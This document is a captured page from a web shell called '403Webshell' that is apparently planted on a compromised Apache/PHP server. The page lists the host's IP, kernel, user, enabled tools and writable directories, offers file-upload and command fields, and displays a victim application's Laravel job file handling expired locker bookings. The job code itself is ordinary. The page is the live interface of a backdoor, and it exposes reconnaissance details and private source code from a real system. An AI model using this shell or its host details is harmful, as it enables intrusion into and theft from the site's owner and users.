403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Jobs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Jobs/OnExpired.php
<?php

namespace App\Jobs;

use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;

use App\Http\Services\NotificationService;
use App\Http\Services\PriceCalculationService;
use App\Models\UserBoxInventory;
use App\Models\UserBoxDelivery;
use Carbon\Carbon;
use DB;

class OnExpired implements ShouldQueue
{
    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;

    protected $booking_id;
    protected $booking_type;

    /**
     * Create a new job instance.
     *
     * @return void
     */
    public function __construct($booking_id, $booking_type)
    {
        $this->booking_id = $booking_id;
        $this->booking_type = $booking_type;

    }

    /**
     * Execute the job.
     *
     * @return void
     */
    public function handle(NotificationService $notificationService, PriceCalculationService $priceCalculationService)
    {   
        DB::transaction(function () use ($notificationService, $priceCalculationService)
        {            
            if($this->booking_type == "inventory")
            {
                $boxInventory = UserBoxInventory::where('id',$this->booking_id)
                ->whereNull("collected_at")
                ->first();

                if($boxInventory){

                    if($boxInventory->dirty_at == null){

                        $boxInventory->collected_at = now();
                        $boxInventory->ended_type = UserBoxInventory::END_BY_SYSTEM;
                        $boxInventory->save();

                        return $notificationService->createUserNotification([
                            'type_id' => 0,
                            'title' => "🚨 Booking Cancellation 🚨",
                            'content' => "[System] Your idle booking has been auto-cancelled by system to prevent unnecessary charge.",
                            'user_id' => $boxInventory->user_id,
                            'on_tap' => $boxInventory->id,
                        ], $shouldNotifyUser = true);

                    }else{
                        return $notificationService->createUserNotification([
                            'type_id' => 0,
                            'title' => "🚨 Reminder",
                            'content' => "Your booking is expired and account turn into auto credit mode. Please refer to “locker usage overdue”.",
                            'user_id' => [
                                $boxInventory->collector->id,
                                $boxInventory->user_id,
                            ],
                            'on_tap' => $boxInventory->id,
                        ], $shouldNotifyUser = true);
                    }
                }
            }
            else if($this->booking_type == "delivery")
            {
                $boxDelivery = UserBoxDelivery::where('id',$this->booking_id)
                    ->whereNull("collected_at")
                    ->first();

                if($boxDelivery){

                    if($boxDelivery->dirty_at == null){

                        $boxDelivery->collected_at = now();
                        $boxDelivery->ended_type = UserBoxDelivery::END_BY_SYSTEM;

                        $locker_price_partner = $priceCalculationService->computeBookingPrice([
                            'reserved_minute' => $boxDelivery->total_usage_time > UserBoxDelivery::MAX_RESERVED_MINUTES ? UserBoxDelivery::MAX_RESERVED_MINUTES : $boxDelivery->total_usage_time,
                            'box_size_id' => $boxDelivery->meta['box_type_id'],
                            'type' => 'delivery_booking'
                        ]);
            
                        $boxDelivery->meta['locker_price_partner'] = $locker_price_partner;

                        $boxDelivery->save();

                        return $notificationService->createUserNotification([
                            'type_id' => 0,
                            'title' => "🚨 Booking Cancellation 🚨",
                            'content' => "[System] Your idle booking has been auto-cancelled by system to prevent unnecessary charge.",
                            'user_id' => $boxDelivery->user_id,
                            'on_tap' => $boxDelivery->id,
                        ], $shouldNotifyUser = true);

                    }
                }
            }
        });
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit